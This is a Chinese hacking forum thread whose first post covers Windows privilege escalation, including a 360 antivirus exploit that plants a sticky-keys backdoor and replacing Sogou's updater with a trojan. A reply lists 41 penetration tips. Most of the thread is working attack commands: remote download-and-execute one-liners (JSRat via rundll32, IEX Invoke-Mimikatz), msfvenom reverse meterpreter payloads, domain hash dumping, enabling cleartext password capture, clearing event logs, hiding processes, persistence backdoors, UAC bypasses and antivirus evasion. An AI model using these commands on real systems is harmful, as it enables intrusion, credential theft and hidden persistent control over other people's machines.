经测试以下目录中的文件权限均为everyone,可以修改,可以上传同文件名替换,删除,最重要的是还可以执行:

360杀毒db文件替换:
c:Program Files360360SDdeepscanSectionmutex.db
c:Program Files360360SafedeepscanSectionmutex.db
C:Program Files360360SafeAntiSectionmutex.db

IISrewrite3 文件替换:
C:Program FilesHeliconISAPI_Rewrite3Rewrite.log
C:Program FilesHeliconISAPI_Rewrite3httpd.conf
C:Program FilesHeliconISAPI_Rewrite3error.log

诺顿杀毒文件替换:
c:Program FilesCommon FilesSymantec SharedPersist.bak
c:Program FilesCommon FilesSymantec SharedValidate.dat
c:Program FilesCommon FilesSymantec SharedPersist.Dat

一流过滤相关目录及文件:
C:7i24.comiissafelogstartandiischeck.txt
C:7i24.comiissafelogscanlog.htm

其他:
Zend文件替换:C:Program FilesZendZendOptimizer-3.3.0libOptimizer-3.3.0php-5.2.xZendOptimizer.dll
华盾文件替换:C:WINDOWShchiblis.ibl
Flash文件替换:C:WINDOWSsystem32MacromedFlashFlash10q.ocx
DU Meter流量统计信息日志文件替换:c:Documents and SettingsAll UsersApplication DataHagel TechnologiesDU Meterlog.csv



(( 360提权 ))--windows


找个可读可写目录上传360.exe

cmd命令:/c c:windowstempcookies360.exe

会提示3段英文:

360 Antivirus Privilege Escalation Exploit By friddy 2010.2.2

You will get a Shift5 door!

Shift5 Backdoor created!

这是成功的征兆,接着连接服务器连按5下shift键,将弹出任务管理器,点击新建任务:explorer.exe 会出现桌面,接下来大家都会弄了……


(( 搜狗提权 ))--windows


搜狗的目录默认是可读可写的,搜狗每隔一段时间就会自动升级,而升级的文件是pinyinup.exe

我们只要把这个文件替换为自己的远控木马,或是添加账户的批处理,等搜狗升级的时候,就可以达成我们的目的了。


(( 华众虚拟主机提权 ))--windows


就经验来说,一般溢出提权对虚拟主机是无果的,而且华众又没有星外那么明显的漏洞。

所以华众提权关键之处就是搜集信息,主要注册表位置:

HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettingsmysqlpass root密码
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettingsmssqlpss sa 密码

c:windowstemp 下有hzhost主机留下的ftp登陆记录有用户名和密码

以上信息配合hzhosts华众虚拟主机系统6.x 破解数据库密码工具使用

百度搜索:hzhosts华众虚拟主机系统6.x 破解数据库密码工具



(( N点虚拟主机 ))--windows


N点虚拟主机管理系统默认数据库地址为:host_date#host # date#.mdb

rl直接输入不行 这里咱们替换下 #=# 空格=

修改后的下载地址为/host_date/#host # date#196.mdb

N点数据库下载之后找到sitehost表 FTPuser&FTPpass 值 FTPpass是N点加密数据然后用N点解密工具解密得到FTP密码

N点默认安装路径C:Program FilesNpointSoftnpointhostweb
D:Program FilesNpointSoftnpointhostweb
默认权限可读。遇到对方所用虚拟主机是N点时候 可以考虑 读取该文件夹下载数据库


N点解密工具代码
回复

使用道具 举报

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-1-28 14:56:15 | 显示全部楼层
Tips 1. 手动端口探测
nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证

使用Wireshark获取响应包未免大材小用,可通过nc简单判断

eg.

对于8001端口,nc连接上去,随便输入一个字符串,得到了以下结果:

$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>
由此我们知道了这是一个http服务,因为我们发送的字符串不是一个合法的HTTP请求,因此返回一个400 Bad requests,我们还得到了系统的版本是Debian,WebServer是Apache

参考:

《谈谈端口探测的经验与原理》

Tips 2. Windows系统从Kali下载文件
Kali:

python -m SimpleHTTPServer 80
Windows:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
参考:

《渗透测试中的certutil.exe》

Tips 3. 配置工作组计算机,使其支持net use远程连接
添加用户:

net user test test /add
net localgroup administrators test /add
修改注册表,使其支持远程连接:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
net use远程连接:

net use \\192.168.1.195 test /u:test
Tips 4. Windows日志清除
获取日志分类列表:

wevtutil el >1.txt
获取单个日志类别的统计信息:

eg.

wevtutil gli "windows powershell"
回显:

creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1
查看指定日志的具体内容:

wevtutil qe /f:text "windows powershell"
删除单个日志类别的所有信息:

wevtutil cl "windows powershell"
参考:

《渗透技巧-Windows日志的删除与绕过》

Tips 5. 破坏Windows日志记录功能
通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行

Powershell:

https://github.com/hlldz/Invoke-Phant0m

C++:

https://github.com/3gstudent/Windwos-EventLog-Bypass

参考:

《渗透技巧-Windows日志的删除与绕过》

《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》

Tips 6. Win7和Windows Server 2008 R2下的进程隐藏
利用globalAPIhooks,通过修改注册表实现

下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz

修改代码指定要隐藏的程序名cldr.exe,编译成cldr.dll,cldr.dll放在C:\ProgramData\Microsoft\HelpLibrary\

管理员权限:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
此时,任务管理器进程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe

对于64位系统:

管理员权限:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
参考:

《利用globalAPIhooks在Win7系统下隐藏进程》

Tips 7. 同名exe和com文件执行顺序
如果一个路径下同时包含同名的exe和com文件,例如test.exe和test.com,通过命令行cmd输入test(不包含文件后缀名),会优先运行com文件,即test.com

而COM文件的生成只需要把exe文件的后缀名改为com即可

参考:

《A dirty way of tricking users to bypass UAC》

Tips 8. Windows系统证书生成与注册
证书生成与签名:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe
执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件,test.exe被加上数字签名

证书注册:

管理员权限cmd,将证书添加到localmachine:

certmgr.exe -add -c Root.cer -s -r localmachine root
参考:

《A dirty way of tricking users to bypass UAC》

Tips 9. hta执行vbs,加载powershell
test.hta:

<HTML>
<HEAD>
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
参考:

《Bypass McAfee Application Control——Code Execution》

Tips 10. 通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll
默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现

当然,通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,通过c++编写的dll更加通用

通过rundll32.exe或者regsvr32能够加载dll,但要求dll包含特定的导出函数

参考:

《Code Execution of Regsvr32.exe》

Tips 11. Windows下cpl文件介绍
本质上是DLL文件,后缀名为cpl,包含一个导出函数CPLApplet(c实现可不指定)

执行方法:

(1)双击直接运行

(2)cmd

rundll32 shell32.dll,Control_RunDLL test.cpl
(3)cmd

control test.cpl
(4)vbs

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
(5)js

var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");
参考:

《CPL文件利用介绍》

Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell
Server:

https://github.com/3gstudent/Jav ... ob/master/JSRat.ps1

Client:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
当然,该RAT工具还可通过以下方法加载:

vbs,js,exe,dll,shellcode

参考:

《JavaScript Backdoor》

《JavaScript Phishing》

Tips 13. 可通过内存dump还原出putty&pageant的密钥
windows和Linux均适用

参考:

《Memory Dump利用实例》

Tips 14. 针对Visual Studio的钓鱼利用
Visual C++:

修改.vcxproj文件

Visual Basic:

修改.vbproj文件

Visual F#:

修改.fsproj文件

使用Visual Studio对以上任一工程编译时,能够执行任意代码

参考:

《Pay close attention to your download code——Visual Studio trick to run code when building》

Tips 15. 32位程序在64位Windows系统下执行的时候,如果有对注册表和文件的操作,存在重定向
对注册表操作:

访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\

对文件操作:

访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32
访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\

参考:

《关于32位程序在64位系统下运行中需要注意的重定向问题》

Tips 16. 获取Windows域控所有用户hash
方法1:
复制ntds.dit:

使用NinjaCopy,https://github.com/3gstudent/NinjaCopy

导出hash:

使用quarkspwdump,https://github.com/quarkslab/quarkspwdump

esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c:\test\ntds.dit -o c:\test\log.txt
方法2:
使用powershell:DSInternals PowerShell Module

https://www.dsinternals.com/wp-c ... SInternals_v2.8.zip

适用条件:

Windows PowerShell 3.0 or 3.0+

.NET Framework 4.0 or 4.0+

参考:

《导出当前域内所有用户hash的技术整理》

《利用Powershell快速导出域控所有用户Hash》

Tips 17. 导出Windows系统明文口令
Windows Server 2012默认无法使用mimikatz导出明文口令,部分Windows Server 2008也一样

解决方法:启用Wdigest Auth

cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
or

powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
重启或者用户再次登录,能够导出明文口令

参考:

《域渗透——Dump Clear-Text Password after KB2871997 installed》

Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码
当然,可选择保存在本地或是将密码上传至服务器

参考:

《域渗透——Hook PasswordChangeNotify》

Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号
如果管理员疏忽,域内主机使用相同的本地管理员账号,可以通过pass-the-hash远程登录域内其他主机

参考:

《域渗透——Local Administrator Password Solution》

Tips 20. 通过powershell获取dll的导出函数
https://github.com/FuzzySecurity ... ter/Get-Exports.ps1

Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt
参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

Tips 21. 快捷方式的参数隐藏技巧
将payload放置在260个空字符之后,这样无法在文件属性查看payload,可以用来在快捷方式中隐藏payload,欺骗用户点击,隐蔽执行代码

参考:

《渗透技巧——快捷方式文件的参数隐藏技巧》

Tips 22. 32位程序能够对64位进程进行远程注入
POC:

https://github.com/3gstudent/Cre ... oteThread32to64.cpp

参考:

《32位程序对64位进程的远程注入实现》

Tips 23. system权限的进程在某些情况下需要进行降权
使用sytem权限的进程可能会遇到以下问题:

1.无法获得当前用户的文件内容

例如无法捕获用户的屏幕

2.环境变量有差异

因此需要降权到当前用户

降权方法1:使用SelectMyParent.exe

代码下载地址:https://github.com/3gstudent/Fro ... rocessauthority.cpp

参考:

《渗透技巧——程序的降权启动》

降权方法2:使用msdtc

使用msdtc会以system权限加载oci.dll,但在管理员权限cmd执行:

msdtc -install

启动的calc.exe为high权限

参考:

《Use msdtc to maintain persistence》

Tips 24. 通过命令行能够对Windows系统安装WinPcap,这样就可以在Windows跳板上使用nmap和Masscan
参考:

《渗透技巧——Windows平台运行Masscan和Nmap》

Tips 25. Windows平台执行mimikatz的方法
方法1:通过powershell
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
方法2:通过InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /outELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
参考:

《利用白名单绕过360实例》

《利用白名单绕过限制的更多测试》

方法3:通过regsvr32.exe
https://gist.githubusercontent.c ... 5b/regsvr32-katz.cs

将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz

rundll32 katz.dll,EntryPoint log coffee exit
参考:

《Code Execution of Regsvr32.exe》

方法4:通过msbuild.exe
下载xml文件,保存为a.xml:

https://github.com/3gstudent/msb ... utes%20mimikatz.xml

cmd:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml
参考:

《Use MSBuild To Do More》

方法5:通过csi.exe
"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx
参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法6:通过js/vbs脚本
https://gist.github.com/subTee/5c636b8736530fb20c3d

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

参考:

《利用JS加载.Net程序》

Tips 26. Windows系统中可供存储和读取payload的位置
方法1:WMI
存储:

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
参考:

《WMI Backdoor》

方法2:包含数字签名的PE文件
利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名

参考:

《隐写技巧-在PE文件的数字证书中隐藏Payload》

方法3:特殊ADS
(1)...

type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
(2)特殊COM文件

type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
(3)磁盘根目录

type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
参考:

《Hidden Alternative Data Streams的进阶利用技巧》

Tips 27. Windows系统中值得搜集的信息
(1)已注册的WMI信息
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list
管理员也许会使用WMI记录攻击者调用WMI的操作,可通过wmic查看,当然通过wmic也能关闭该监控功能

参考:

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》

Tips 28. Windows系统反弹meterpreter的常用方法
方法1:通过rundll32加载dll反弹meterpreter
msf:

msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然后上传至测试主机

执行rundll32.exe a.dll,Control_RunDLL,即可上线

方法2:通过cpl反弹meterpreter
代码见https://raw.githubusercontent.co ... ter_reverse_tcp.cpp

生成dll,重命名为cpl,双击执行

方法3:通过powershell反弹meterpreter
https://raw.githubusercontent.co ... ion-Meterpreter.ps1

Tips 29. Windows系统加载dll的方法
方法1:rundll32
rundll32 a.dll,EntryPoint
方法2:regsvr32
regsvr32 a.dll
参考:

《Code Execution of Regsvr32.exe》

方法3:odbcconf
odbcconf.exe /a {regsvr c:\test\odbcconf.dll}
参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

方法4:Tracker
Tracker.exe /d test.dll /c svchost.exe
tracker.exe包含微软数字签名,可绕过应用程序白名单的限制

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法5:Excel.Application object's RegisterXLL() method
前提:已安装Microsoft Office软件

1.rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();
2.js

var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");
3.powershell

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")
参考:

《Use Excel.Application object's RegisterXLL() method to load dll》

方法6:xwizard.exe
复制%windir%\system32\下的xwizard.exe至新目录C:\x

将msg.dll重命名为xwizards.dll,保存在C:\x

命令行执行:

xwizard processXMLFile 1.txt
成功加载C:\x\xwizards.dll

参考:

《Use xwizard.exe to load dll》

Tips 30. Windows Persistence
方法1:bitsadmin
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.co ... nce/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
参考:

《Use bitsadmin to maintain persistence and bypass Autoruns》

方法2:mof
pragma namespace("\\\\.\\root\\subscription")   
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};   
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.co ... ackdoor/master/test\")";
};   
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
管理员权限:

mofcomp test.mof
参考:

《WSC、JSRAT and WMI Backdoor》

方法3:wmi
每隔60秒执行一次notepad.exe

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
参考:

《Study Notes of WMI Persistence using wmic.exe》

方法4:Userland Persistence With Scheduled Tasks
劫持计划任务UserTask,在系统启动时加载testmsg.dll

操作如下:

在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}

接着新建项InprocServer32

值设定为c:\test\testmsg.dll

testmsg.dll包含如下导出函数:

DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer

等待用户重新登录

参考:

《Userland registry hijacking》

方法5:Netsh
helper DLL需要包含导出函数InitHelperDll

管理员权限:

netsh add helper c:\test\netshtest.dll
helper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll

参考:

《Netsh persistence》

方法6:Shim
常用方式:

InjectDll

RedirectShortcut

RedirectEXE

《渗透测试中的Application Compatibility Shims》

方法7:dll劫持
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程

参考:

《DLL劫持漏洞自动化识别工具Rattler测试》

方法8:DoubleAgent
编写自定义Verifier provider DLL

通过Application Verifier进行安装

注入到目标进程执行payload

每当目标进程启动,均会执行payload,相当于一个自启动的方式

参考:

《渗透测试中的Application Verifier(DoubleAgent利用介绍)》

方法9:waitfor.exe
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe

参考:

《Use Waitfor.exe to maintain persistence》

方法10:AppDomainManager
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

参考:

《Use AppDomainManager to maintain persistence》

方法11:Office加载项
如果系统已安装office软件,可通过配置Office加载项实现劫持,作为被动后门

常用利用方式:

Word WLL

Excel XLL

Excel VBA add-ins

PowerPoint VBA add-ins

POC:https://github.com/3gstudent/Office-Persistence

参考:

《Use Office to maintain persistence》

《Office Persistence on x64 operating system》

方法12:CLR
无需管理员权限的后门,并能够劫持所有.Net程序

POC:https://github.com/3gstudent/CLR-Injection

参考:

《Use CLR to maintain persistence》

方法13:msdtc
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测

参考:

《Use msdtc to maintain persistence》

方法14:Hijack CAccPropServicesClass and MMDeviceEnumerator
不需要重启系统,不需要管理员权限

通过修改注册表实现

POC:https://github.com/3gstudent/COM-Object-hijacking

参考:

《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

方法15:Hijack explorer.exe
不需要重启系统,不需要管理员权限

通过修改注册表实现

参考:

《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》

方法16:Windows FAX DLL Injection
通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载

Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)

将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载

方法17:劫持Office软件的特定功能
通过dll劫持,在Office软件执行特定功能时触发后门

参考:

《利用BDF向DLL文件植入后门》

方法18:特殊注册表键值
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)

参考:

《渗透技巧——"隐藏"注册表的创建》

《渗透技巧——"隐藏"注册表的更多测试》

方法19:powershell配置文件
修改powershell配置文件,后门在powershell进程启动后触发

查看是否使用配置文件:

Test-Path $profile
创建配置文件:

New-Item -Path $profile -Type File –Force
修改配置文件内容,添加后门:

$string = 'Start-Process "cmd.exe"'
$string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
From:

https://rastamouse.me/2018/03/a-view-of-persistence/

Tips 31. UAC绕过
方法1:use eventvwr.exe and registry hijacking
适用:Win7,Win8.1,Win 10

https://github.com/3gstudent/UAC ... -EventVwrBypass.ps1

参考:

《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

方法2:use sdclt.exe
适用Win10

参考:

《Study Notes of using sdclt.exe to bypass UAC》

方法3:use SilentCleanup
适用Win8,Win10

reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
参考:

《Study Notes of using SilentCleanup to bypass UAC》

方法4:use wscript.exe
只适用于Win7

https://github.com/EmpireProject ... ScriptBypassUAC.ps1

参考:

《Empire中的Invoke-WScriptBypassUAC利用分析》

方法5:use cmstp.exe
https://msitpros.com/?p=3960

适用于Win7

方法5:修改环境变量,劫持高权限.Net程序
适用Win7-Win10

如gpedit.msc

修改环境变量,利用CLR劫持gpedit.msc的启动过程

参考:

《Use CLR to bypass UAC》

方法6:修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序
适用Win7-Win10

{B29D466A-857D-35BA-8712-A758861BFEA1}

{D5AB5662-131D-453D-88C8-9BBA87502ADE}

{0A29FF9E-7F9C-4437-8B11-F424491E3931}

{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

参考:

《Use CLR to bypass UAC》

Tips 32. Visual Studio生成的exe或是dll在其他系统使用,提示缺少相关DLL文件
解放方法:

将程序打包发布

项目菜单->项目属性,C/C++->代码生成->运行库,选择多线程 (/MT)

Tips 33. 使用LaZagne导出当前系统中常见应用存储的密码
可以使用LaZagne导出当前系统中常见应用存储的密码(例如浏览器、Wifi、Git、Outlook等)

https://github.com/AlessandroZ/LaZagne

当然,也可以修改LaZagne源码实现对其他应用的密码导出

参考:

《本地密码查看工具LaZagne中的自定义脚本开发》

Tips 34. 使用powershell读写文件
读文本文件:

$file = Get-Content "1.txt"
写文本文件:

Set-content "1.txt"
读二进制文件:

[System.IO.File]::ReadAllBytes('1.exe')
写二进制文件:

[System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)
Tips 35. powershell作base64编码/解码
编码:

$encoded = [System.Convert]::ToBase64String($fileContent)
解码:

$fileContent = [System.Convert]::FromBase64String($encoded)
参考:

《Study Notes of using BGInfo to bypass Application Whitelisting》

Tips 36 如果powershell脚本被查杀,可以尝试使用Invoke-Obfuscation进行混淆
https://github.com/danielbohannon/Invoke-Obfuscation

eg.

设置要混淆的代码:

set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "
输入encoding

输入1,指定编码为ascii

得到混淆后的代码:

" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $envUbLic[13]+$eNvuBlIc[5]+'x')
Tips 37 python脚本转exe
常见的两种方法:

使用py2exe

使用PyInstaller

使用方法和常见bug解决方法可参照参考链接

参考:

《本地密码查看工具LaZagne中的自定义脚本开发》

Tips 38 普通用户权限向管理员权限的路径下写文件
eg.

以普通用户权限向c:\windows文件夹下释放文件

makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
适用于Win7、Win8,学习自:

https://github.com/EmpireProject ... ScriptBypassUAC.ps1

参考:

《Empire中的Invoke-WScriptBypassUAC利用分析》

Tips 39 在远程系统上执行程序的方法汇总
常用方法:

at

psexec

WMIC

wmiexec

smbexec

powershell remoting

新方法:

DCOM

参考:

《域渗透——利用DCOM在远程系统执行程序》

Tips 40 寻找Windows系统中可被利用的服务
枚举Windows系统服务对应可执行文件的路径,如果路径包含普通用户的写权限,那么该服务可被用来提升权限

powershell代码:

$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
        If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
                If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
                        If($a.Owner -ne "BUILTIN\Administrators"){                               
                                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
                                Write-host Owner: $a.Owner
                        }       
                }
    }
}
Write-host [+] All done.
参考:

《Use powershell to find a writable windows service》

Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行
